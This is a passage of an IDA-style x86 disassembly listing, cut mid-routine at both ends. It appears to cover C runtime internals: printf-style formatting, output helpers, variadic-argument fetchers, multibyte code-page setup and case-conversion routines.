--------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC704 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C550 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C640 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28D0000h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC820 cmp [ebp+var_18], 1 mov dword_4DC704, esi rep stosd stosb mov dword_4DC924, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC821[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC820 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C560[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C548[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC821[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC71C, 1 push eax mov dword_4DC704, eax call sub_42008C lea esi, dword_43C554[esi] mov edi, offset dword_4DC710 movsd movsd pop ecx mov dword_4DC924, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC821[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC924, eax mov dword_4DC71C, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC71C, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC710 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB330, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB330, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB330, 1 jmp near ptr 26508D5h ; --------------------------------------------------------------------------- db 1Bh ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB330, 1 nop jmp near ptr 28D066Fh ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB374 mov dword_4DB330, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC820 rep stosd stosb xor eax, eax mov edi, offset dword_4DC710 mov dword_4DC704, eax mov dword_4DC71C, eax mov dword_4DC924, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC704 nop call near ptr 28D0000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC924 push dword_4DC704 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC704 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC924 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC704 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC924 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC821[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC720[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC821[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC720[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC821[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC720[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC821[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC720[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC954, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC954, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC71C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC821[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB364, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C534, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C328 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB2AC, ecx mov eax, offset dword_43C640 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C7A8 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB2A8, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C644[edx*8] mov dword_4DB2A8, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB2A8, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB2A8, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA38 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA58 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB490 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB334[eax*4], 0 push ebx push edi lea edi, ds:4DB334h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h 